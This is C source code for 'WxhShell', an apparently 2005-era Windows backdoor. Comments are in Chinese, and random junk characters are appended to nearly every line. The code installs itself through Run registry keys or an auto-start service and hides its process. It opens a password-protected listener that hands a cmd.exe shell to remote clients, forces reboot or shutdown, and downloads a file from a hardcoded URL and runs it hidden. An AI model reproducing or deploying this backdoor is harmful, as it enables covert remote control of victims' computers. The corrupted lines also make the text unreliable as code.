    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ofj7$se  
    if(Boot(SHUTDOWN)) v^HDR 3I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); no)Spo'  
    else { Ep.,2H  
    closesocket(wsh); 2JUX29rER  
    ExitThread(0); -r/#20Y  
    } ?b^VEp.;}  
    break; 1;080| ,s  
    } yL_-w/a  
  // 获取shell 4/~8zvz&3  
  case 's': { T5Sa9\`>  
    CmdShell(wsh); 9Rb-QI  
    closesocket(wsh); k2j:s}RHY  
    ExitThread(0); i8Yl1nF  
    break; =LZj6'  
  } F, %qG,  
  // 退出 ](x4q  
  case 'x': { N 2L/A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^qIp+[/'  
    CloseIt(wsh); +}I[l,,xy  
    break; hG2btmBht  
    } V`pTl3  
  // 离开 42Tjbten_u  
  case 'q': { -]+ XTsL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r*0a43mC1  
    closesocket(wsh); !})/x~~e  
    WSACleanup(); vD[@cm  
    exit(1); gD@ &/j7  
    break; UH%oGp$ykX  
        } Ty*ec%U9F  
  } ?0DCjh8We  
  } mE}``  
k#c BBrY  
  // 提示信息 DcQ^V4_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gK-:t  
} 6@]Xwq  
  } f"k?Ix\ e  
":Kn@S'{(  
  return; p27A#Uu2}  
} KQJn\#>  
l^u P?l"  
// shell模块句柄 3+EJ%  
int CmdShell(SOCKET sock) bhOyx  
{ ~+T~}S  
STARTUPINFO si; j; +nnpg  
ZeroMemory(&si,sizeof(si)); ;$%+TN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #vDe/o+=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0e}L Z,9e  
PROCESS_INFORMATION ProcessInfo; pkxW19h*0  
char cmdline[]="cmd"; DAvAozM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !MGQ+bD6  
  return 0; G7),!Qol  
} zF{ z_c#3@  
HX=`kkX  
// 自身启动模式 6'Lij&,f?{  
int StartFromService(void) SgY>$gP9S  
{ ZAiQofQ:2  
typedef struct ^(6.M\Q  
{ TI*uNS;-  
  DWORD ExitStatus; @|cas|U.r  
  DWORD PebBaseAddress; +Uk/Zg w^  
  DWORD AffinityMask; e{?~ m6  
  DWORD BasePriority; a2g15;kM  
  ULONG UniqueProcessId; A!j&g(Z"Q  
  ULONG InheritedFromUniqueProcessId; YL{LdM-xM  
}   PROCESS_BASIC_INFORMATION; Q}m)Q('Rk  
)9PQ j  
PROCNTQSIP NtQueryInformationProcess; gx9H=c>/  
Uq[NO JC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G,$jU9 f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,ur_n7+LH  
5X[=Q>  
  HANDLE             hProcess; p~M^' k=d  
  PROCESS_BASIC_INFORMATION pbi; 0_%u(?  
] ^.#d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u/``*=Y@  
  if(NULL == hInst ) return 0; jT'1k[vJj  
//AS44^IS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NB>fr#pb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q5QYp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N.3M~0M*  
*xt3mv/<z  
  if (!NtQueryInformationProcess) return 0; Cj ykM])  
6{1c S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x==%BBnO%  
  if(!hProcess) return 0;  4INO .  
o,u-%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {HQ?  
3VKArv-  
  CloseHandle(hProcess); [['un\~r~  
iGm[fxQ|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UX(#C,qgG  
if(hProcess==NULL) return 0; H{9di\xnEm  
Bm.%bA>  
HMODULE hMod; K~C*4H:9  
char procName[255]; ULAAY$o@5  
unsigned long cbNeeded; {3!v<CY'  
,LU/xI0O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,GGr@})  
W}nD#9tL  
  CloseHandle(hProcess); K^w(WE;db  
=3l%ZL/  
if(strstr(procName,"services")) return 1; // 以服务启动 hesL$Z [  
k6. }.  
  return 0; // 注册表启动 $^d,>hJi  
} X >C*(/a  
*N<~"D  
// 主模块 d\D.l^  
int StartWxhshell(LPSTR lpCmdLine) 8 <EE4y  
{ g!cTG-bh>J  
  SOCKET wsl; (wnkdI{  
BOOL val=TRUE; 591Syyy  
  int port=0; Hj$JXo[U  
  struct sockaddr_in door; HTvA]-AuM  
LZ}C{M{=5A  
  if(wscfg.ws_autoins) Install(); 4tof[n3us  
5fA<I _ D  
port=atoi(lpCmdLine); uI!rJc>TX  
vc5g 4ud  
if(port<=0) port=wscfg.ws_port; [n44;  
+r"{$'{^  
  WSADATA data; v:nm#P%P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fOtL6/?  
SBg BZm}%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $&I##od  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V^As@P8,'(  
  door.sin_family = AF_INET; oMM`7wJw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }v"X.fa^  
  door.sin_port = htons(port); sjvlnnO   
%l( qyH)*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |^[]Oy=  
closesocket(wsl); #;# V1  
return 1; mw-0n  
} D4$;jz,,  
4siNY4i"  
  if(listen(wsl,2) == INVALID_SOCKET) { D .oX>L#:  
closesocket(wsl); 6*J`2U9Q  
return 1; 6-c3v  
} }_vE lBh6$  
  Wxhshell(wsl); R'`q0MoN1  
  WSACleanup(); uQ=p } w  
O KVIl  
return 0; ;Kob]b  
S!j=hj@qW  
} ,]+P#eXgE  
dbQUW#<Q  
// 以NT服务方式启动 WwG78b-OA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^I*</w8  
{ w7 @fiH{  
DWORD   status = 0; [*GIR0  
  DWORD   specificError = 0xfffffff; X`JWYb4  
=ZR9zL=h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >~8;H x].d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rJ|Q%utYz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EnnT)qos  
  serviceStatus.dwWin32ExitCode     = 0; kclClB:PS  
  serviceStatus.dwServiceSpecificExitCode = 0; l=,\ h&  
  serviceStatus.dwCheckPoint       = 0; \x P$m|Y3  
  serviceStatus.dwWaitHint       = 0; >77N5 >]e  
Fa:fBs{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5 0uYU[W  
  if (hServiceStatusHandle==0) return; (L}  
K<TVp;N  
status = GetLastError(); &7"a.&*9xX  
  if (status!=NO_ERROR) 6;6a.iZ  
{ e=ZwhRP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #-*7<wN   
    serviceStatus.dwCheckPoint       = 0; D;VQoO  
    serviceStatus.dwWaitHint       = 0; &.J8O+  
    serviceStatus.dwWin32ExitCode     = status; {G$I|<MD2T  
    serviceStatus.dwServiceSpecificExitCode = specificError; c@;$6WSG^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]wFKXZeK  
    return; B7BXS*_b  
  } G8b/eWtP  
Ww-%s9N<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3 r4QB  
  serviceStatus.dwCheckPoint       = 0; 7ADh  
  serviceStatus.dwWaitHint       = 0; kzU;24"K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \9k$pC+l  
} FYq]-k{\  
9DcUx-   
// 处理NT服务事件,比如:启动、停止 o_; pEe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 64xq@_+  
{ B^g+_;  
switch(fdwControl) , Fo7E  
{ H^_]' ~.  
case SERVICE_CONTROL_STOP: {];4  
  serviceStatus.dwWin32ExitCode = 0; hpp>+=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eLE9-K+  
  serviceStatus.dwCheckPoint   = 0; v l59|W6  
  serviceStatus.dwWaitHint     = 0; bL*;6TzRK  
  { pgT XyAP{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0w^\sf%s  
  } u=^0n2ez  
  return; 3l5rUjRwj  
case SERVICE_CONTROL_PAUSE: 3?|gBiX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k<W n  
  break; kcT?<r  
case SERVICE_CONTROL_CONTINUE: d.y2`wT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <q Z"W6&&  
  break; _\yrR.HIa  
case SERVICE_CONTROL_INTERROGATE: Z-[nHSf  
  break; N_S>%Z+  
}; pl62mp!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T3 xr Ua&  
} [?TQ!l}8A  
T8Sgu6:*R  
// 标准应用程序主函数 UJ' +Z6d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~/?JRL=  
{ ;:xOW$  
!1<x@%  
// 获取操作系统版本 : sIZ+3  
OsIsNt=GetOsVer(); 0 [6llcuj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t6 :;0[j  
4eb<SNi  
  // 从命令行安装 rhFa rm4a  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6GzmzhX4  
w7\:S>;(O"  
  // 下载执行文件 M (dVY/ i  
if(wscfg.ws_downexe) { #u+BjuZo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rXo2MX@u  
  WinExec(wscfg.ws_filenam,SW_HIDE); kfb+OE:7  
}  iqf+rBL  
i gzISYC_  
if(!OsIsNt) { &8t?OpB =h  
// 如果时win9x,隐藏进程并且设置为注册表启动 &H\$O.?f  
HideProc(); =DTn9}u  
StartWxhshell(lpCmdLine); b7fP)nb695  
} D[{p~x^  
else : 4$Ex2  
  if(StartFromService()) &|<~J (L;  
  // 以服务方式启动 EK. L>3  
  StartServiceCtrlDispatcher(DispatchTable); /:dVW" A|  
else gUDd2T#  
  // 普通方式启动 dtjaQsJM^  
  StartWxhshell(lpCmdLine); 9Vk61x6  
:j$K.3n  
return 0; `xe[\Z2  
} IDBhhv3ak  
wbI(o4rXE  
aA%$<ItH  
FsZM_0>/s  
=========================================== `g% ]z@'+?  
xt +fu L  
pPCxa#OV  
t&SJ!>7_c  
Kbx(^f12  
'.~vN L+ O  
" @FkNT~OZ  
O60jC;{F  
#include <stdio.h> .^#{rk  
#include <string.h> mL+}Ka  
#include <windows.h> LYh5f#  
#include <winsock2.h> En6fmEn&;o  
#include <winsvc.h> k_V1x0sZ  
#include <urlmon.h> ?>q=Nf^Q.  
#Vn=(U4}!_  
#pragma comment (lib, "Ws2_32.lib") M; zRf3S  
#pragma comment (lib, "urlmon.lib") I>/`W  
"r cPJX  
#define MAX_USER   100 // 最大客户端连接数 K *vNv 4  
#define BUF_SOCK   200 // sock buffer $';'MoS  
#define KEY_BUFF   255 // 输入 buffer !QVd'e  
Djf2ir'  
#define REBOOT     0   // 重启 oZ6xHdPc4  
#define SHUTDOWN   1   // 关机 ^ .kas7 <  
9Lz)SYd  
#define DEF_PORT   5000 // 监听端口 { KwLcSn  
&%u,b~cL?  
#define REG_LEN     16   // 注册表键长度 a-!"m  
#define SVC_LEN     80   // NT服务名长度 M#S8x@U  
\07Vh6cj  
// 从dll定义API ieBW 0eMi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @{I55EQ]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '4Z%{.;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N0 ?O*a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |w~zh6~  
mSQ!<1PM  
// wxhshell配置信息 \TMRS(  
struct WSCFG { DA@ { d-A  
  int ws_port;         // 监听端口 "6KOql3  
  char ws_passstr[REG_LEN]; // 口令 '2[ _U&e  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1}ZBj%z4l  
  char ws_regname[REG_LEN]; // 注册表键名 g1zqh,  
  char ws_svcname[REG_LEN]; // 服务名 :L`z~/6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =:"@YD^a4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GMNf#;x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1~7y]d?%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +#B%YK|LR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eazP'(rc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 STOE=TC>  
cQ+, F2  
}; IL%&*B  
:cC`wX$  
// default Wxhshell configuration P{>T?-Hj  
struct WSCFG wscfg={DEF_PORT, pu>LC6m3a  
    "xuhuanlingzhe", 0e7v ?UT  
    1, sg6cq_\  
    "Wxhshell", .FMF0r>l  
    "Wxhshell", HPCA,*YR`  
            "WxhShell Service", 5~[ Fh2+  
    "Wrsky Windows CmdShell Service", @ics  
    "Please Input Your Password: ", }<Me%`x"  
  1, QM_~w \  
  "http://www.wrsky.com/wxhshell.exe", (Q&z1XK3  
  "Wxhshell.exe" qob!!A14p  
    }; A|a\pL`@  
Hd2_Cg FB  
// 消息定义模块 ]g)%yuox9F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dF?pEet?2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QB@*/Le   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dkn_`j\v  
char *msg_ws_ext="\n\rExit."; ^al SyJ`  
char *msg_ws_end="\n\rQuit."; ]D]K_`!K  
char *msg_ws_boot="\n\rReboot..."; :8QG$Ua1  
char *msg_ws_poff="\n\rShutdown..."; )eG&"3kFe!  
char *msg_ws_down="\n\rSave to "; Wex4>J<`/  
/kWWwy<  
char *msg_ws_err="\n\rErr!"; 3&*%>)  
char *msg_ws_ok="\n\rOK!"; G?V3lQI1n  
*lTu-  
char ExeFile[MAX_PATH]; wGxLs>| 4  
int nUser = 0; 9"aTF,'F/  
HANDLE handles[MAX_USER]; s`TBz8QO$  
int OsIsNt; w##Fpv<m  
'qD9k J`  
SERVICE_STATUS       serviceStatus; {38aaf|'/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (l^lS=x  
!3&}r  
// 函数声明 @kK=|(OB'  
int Install(void); YS~x-5OE\  
int Uninstall(void); ~iSW^mi  
int DownloadFile(char *sURL, SOCKET wsh); b$ eJH  
int Boot(int flag); GJ$,@  
void HideProc(void); >*(>%E~H  
int GetOsVer(void); S`^W#,rj  
int Wxhshell(SOCKET wsl); d"cfSH;h  
void TalkWithClient(void *cs); {!S/8o"]  
int CmdShell(SOCKET sock); Ue7W&N^E  
int StartFromService(void); 4~/6d9f  
int StartWxhshell(LPSTR lpCmdLine); @88 efF  
loB/w{r*x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q8lK6p\:W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i@6 /#  
pWp2{G^XB  
// 数据结构和表定义  %!S  
SERVICE_TABLE_ENTRY DispatchTable[] = uj@<_|7  
{ 5zGj,y>u  
{wscfg.ws_svcname, NTServiceMain}, t<7WM'2<y  
{NULL, NULL} *LVM}| f  
}; KWUz]>Z  
kA_ 3o)J  
// 自我安装 YMd&+J`  
int Install(void) a< EC]-nw  
{ jJvNN -^  
  char svExeFile[MAX_PATH]; a*hThr+$M  
  HKEY key; H^g<`XEgw  
  strcpy(svExeFile,ExeFile); ,Ai i>D]  
(n/1 :'  
// 如果是win9x系统,修改注册表设为自启动 Wd AGZUp  
if(!OsIsNt) { g@k9w{_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :ct+.#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S+G)&<a^  
  RegCloseKey(key); ~'MWtDe:Z8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y zS*p~|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oy&'zigJ  
  RegCloseKey(key); 'qJ-eQ7e  
  return 0; 0 l@P]_qq`  
    } ];;w/$zke  
  } pG6-.F;  
} (do=o&9p m  
else { ntV >m*^  
;vdgF  
// 如果是NT以上系统,安装为系统服务 #:|?t&On  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); % eRwH >  
if (schSCManager!=0) [r8 d+  
{ 17)M.(qmuP  
  SC_HANDLE schService = CreateService 9 Zm<1Fw  
  ( U_'q-*W  
  schSCManager, Z!reX6  
  wscfg.ws_svcname, e0HP~&BRs  
  wscfg.ws_svcdisp, [Z\1"m  
  SERVICE_ALL_ACCESS, 3SDWR@x&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L0b] ^_ tI  
  SERVICE_AUTO_START, +c`C9RXk  
  SERVICE_ERROR_NORMAL, X&.$/xaT  
  svExeFile, uk  f\*  
  NULL, 2bnIT>(  
  NULL, i%PHYSJ.  
  NULL, ddDJXk)!0  
  NULL, -_DiD^UcXn  
  NULL )]> '7] i  
  ); L"7` \4  
  if (schService!=0) sFCs_u1tNN  
  {  _np>({  
  CloseServiceHandle(schService); 14 'x-w^~k  
  CloseServiceHandle(schSCManager); dG>Wu o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X]MM7hMuR  
  strcat(svExeFile,wscfg.ws_svcname); YCBML!L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b[o"Uq@8?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )|R0_9CLV  
  RegCloseKey(key); n3g WM C  
  return 0; '3UIriY6  
    } A|_%'8  
  } rI66frbj  
  CloseServiceHandle(schSCManager); O\F^@;] F6  
}  Ox*T:5  
} Qn)[1v  
'a/6]%QFd!  
return 1; >wk=`&+V@  
} _& Uo|T  
}:l%,DBw  
// 自我卸载 r]//Q6|S  
int Uninstall(void) YSz$` 7i  
{ p9}c6{Wp  
  HKEY key; X`v79`g_  
>`?+FDOJ,  
if(!OsIsNt) { h:Mn$VR,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e9hVX[uq  
  RegDeleteValue(key,wscfg.ws_regname); }Oh'YX#[  
  RegCloseKey(key); 3g#=sd!0O@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KYmWfM3^  
  RegDeleteValue(key,wscfg.ws_regname); \ [^) WQ  
  RegCloseKey(key); sEJ;t0.LX  
  return 0; qTa]th;  
  } iMeRQYW  
} nh&J3b}B!  
} I%Po/+|+  
else { )>X|o$2  
uZ`d&CEh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &0 )xvZ  
if (schSCManager!=0) )bCG]OM7<  
{ 07LL)v~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0@e}hv;  
  if (schService!=0) N7HbOLpM  
  { }!yD^:[ 5  
  if(DeleteService(schService)!=0) { A]O5+" mc  
  CloseServiceHandle(schService); u388Wj   
  CloseServiceHandle(schSCManager); QOh w  
  return 0; ^I0GZG  
  } rb}wv16?  
  CloseServiceHandle(schService); kSDa\l!W]  
  } &(uF&-PwO4  
  CloseServiceHandle(schSCManager); Z>w^j.(  
} k"^t?\Q%vI  
} 9>[.=  
qvfAG 0p  
return 1; %X9:R'~sP  
}  IB.'4B7  
RqN_vk\  
// 从指定url下载文件 X@h^T> ["  
int DownloadFile(char *sURL, SOCKET wsh) QC\g%MVG  
{ v1"g!%U6  
  HRESULT hr; x,w`OMQ}c  
char seps[]= "/"; {Z?$Co^R  
char *token; rz[uuY7  
char *file; iQm.]A  
char myURL[MAX_PATH]; ;*)fO? TG)  
char myFILE[MAX_PATH]; ]lB3qEn<  
XEUa  
strcpy(myURL,sURL); ` r'0"V  
  token=strtok(myURL,seps); kh>SrW]B%  
  while(token!=NULL) &8X .!r`f  
  { FUzMc1zy|  
    file=token; 7i+!^Qj?y  
  token=strtok(NULL,seps); )ZgER[  
  } i>]<*w  
z3vsz  
GetCurrentDirectory(MAX_PATH,myFILE); N)vk0IM!  
strcat(myFILE, "\\"); M8#*zCp{5  
strcat(myFILE, file); Hlt8al3  
  send(wsh,myFILE,strlen(myFILE),0); A'~%_}  
send(wsh,"...",3,0); V &mH#k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OZ>)sL  
  if(hr==S_OK) =YXe1$ $  
return 0; ]e@0T{!  
else ~<2 IIR$H  
return 1; _X,[]+ziu%  
.0Iun+nUD  
} mX<Fuu}E*Z  
9k=U0]!ch  
// 系统电源模块 DD/>{kff  
int Boot(int flag) ?u_gXz;A  
{ c|\ZRBdI  
  HANDLE hToken; }XGMa?WR  
  TOKEN_PRIVILEGES tkp; {uaZ<4N.  
;0w^ud  
  if(OsIsNt) { ;t;Y.*&=S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hhe{ +W@~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PcHSm/d0e  
    tkp.PrivilegeCount = 1; C%}]"0Q1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b)on A|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3d*&':  
if(flag==REBOOT) { .N~PHyXZR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W>5vRwx00  
  return 0; aN^]bs?R  
} e/"yGQu  
else { d5@X#3Hd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7BL |x  
  return 0; gk!E$NyE  
} g$*/ XSr(  
  } X,C*qw@  
  else { up\oWR:  
if(flag==REBOOT) { sU) TXL'_!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !dU9sB2  
  return 0; 7d&DrI@~  
} G'ij?^?  
else { nNt*} k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?PBa'g  
  return 0; ~bdv_|k  
} 6g5PM4\  
} a q3~!T;W  
V ]79vC  
return 1; 2 ;JQX!  
} e^j<jV`1  
, N53Iic  
// win9x进程隐藏模块 ]dvPx^`d{  
void HideProc(void) nz4<pvC,*  
{ \HAJ\9*w)  
ze`1fO|%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <d5@CA+M  
  if ( hKernel != NULL ) t)YUPDQ@J  
  { +'%@!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RFw(]o,9cR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3Jk[/ .h  
    FreeLibrary(hKernel); !c%  
  } *HR +a#o  
et=7}K]l  
return; {m[s<A(  
} 3KSpB;HX  
"'m)VG  
// 获取操作系统版本 (8.{+8o  
int GetOsVer(void) 8p&kLo&  
{ 4'',6KJ@  
  OSVERSIONINFO winfo; e@E17l-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _a](V6  
  GetVersionEx(&winfo); hk%k(^ekU]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zh\$t]d<I  
  return 1; c!It ^*  
  else B MM--y@  
  return 0; C5|db{=\.*  
} yub{8f;v  
*m9{V8Yi2  
// 客户端句柄模块 #)o7"PW:  
int Wxhshell(SOCKET wsl) k;k}qq`d  
{ gxwo4.,  
  SOCKET wsh; xACdZB(  
  struct sockaddr_in client; C-m*?))go  
  DWORD myID; =.*98  
?c]n^GvG  
  while(nUser<MAX_USER) qz!Ph5 (  
{ aBhV3Fd[B  
  int nSize=sizeof(client); iib  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V|'1tB=;*1  
  if(wsh==INVALID_SOCKET) return 1; ]ab#q=  
24u x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MPIlSMe  
if(handles[nUser]==0) |S&5es-yW  
  closesocket(wsh); n2 {SV  
else 7G<t"'  
  nUser++; Iy';x  
  } }XR : 2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tu0aD%C  
Z o=]dBp.  
  return 0; Zp&@h-%YoD  
} )}MHx`KT2  
V5mlJml2(  
// 关闭 socket fKHE;A*>%  
void CloseIt(SOCKET wsh) v .=/Y(J  
{ e)H!uR  
closesocket(wsh); EHn"n"Y  
nUser--; M6rc!K  
ExitThread(0); oH#v6{y  
} rY0u|8.5Q  
}7s>B24J  
// 客户端请求句柄 N@xg:xr  
void TalkWithClient(void *cs) ;@3FF  
{ n6MM5h/#r  
QAPu<rdJP  
  SOCKET wsh=(SOCKET)cs; ~rD={&0  
  char pwd[SVC_LEN]; _Ov;4nt!  
  char cmd[KEY_BUFF]; XL$* _c <)  
char chr[1]; .]x2K-Sf  
int i,j; #]]Su91BA  
]Mi.f3QlO6  
  while (nUser < MAX_USER) { EH*o"N`!r  
C&~1M}I  
if(wscfg.ws_passstr) { e>}}:Ud  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V\]" }V)"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ORN6vX(1  
  //ZeroMemory(pwd,KEY_BUFF); 4|?{VQ  
      i=0; I$t3qd{H&  
  while(i<SVC_LEN) { 6w[}&pX"z  
Hr<o!e{Y  
  // 设置超时 .w?(NZ2~  
  fd_set FdRead; SqA J-_~  
  struct timeval TimeOut; 9BEFr/.  
  FD_ZERO(&FdRead); !7bw5H  
  FD_SET(wsh,&FdRead); Lw1EWN6}_&  
  TimeOut.tv_sec=8; fvq,,@23  
  TimeOut.tv_usec=0; 8~lIe:F-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )E#2J$TD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /93l74.w  
LhXUm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j@gMb iu  
  pwd=chr[0]; M:KbD|  
  if(chr[0]==0xd || chr[0]==0xa) { cF)/^5Z  
  pwd=0; v1JS~uDz  
  break; &,\=3 '  
  } wxg^Bq)D*R  
  i++; WEg6Kz  
    } $''?HjB}T  
Uxfl_@lJ  
  // 如果是非法用户,关闭 socket ]uj=:@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =]`lN-rYw  
} [D-Q'"'A  
DZ7 gcC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TGXa,A{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o%{'UG  
\0l>q ,  
while(1) { ?bZovRx  
=*qD4qYA  
  ZeroMemory(cmd,KEY_BUFF); `\`>0hlu  
vK7\JZ>  
      // 自动支持客户端 telnet标准   VErv;GyV  
  j=0; H1GRMDNXOA  
  while(j<KEY_BUFF) { {t"+ 3zy'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'i;|c  
  cmd[j]=chr[0]; 8dD2  
  if(chr[0]==0xa || chr[0]==0xd) { D(p\0V  
  cmd[j]=0; ^-mRP\5  
  break; ~R$~&x(b  
  } NNhL*C[_7  
  j++; iovfo2!hD  
    } @`tXKP$so  
2!&&|Mh}  
  // 下载文件 /525w^'pd  
  if(strstr(cmd,"http://")) { 5D M"0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Uv YF[@  
  if(DownloadFile(cmd,wsh)) W$U0[^1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5aad$f  
  else b'MSkEiQG  
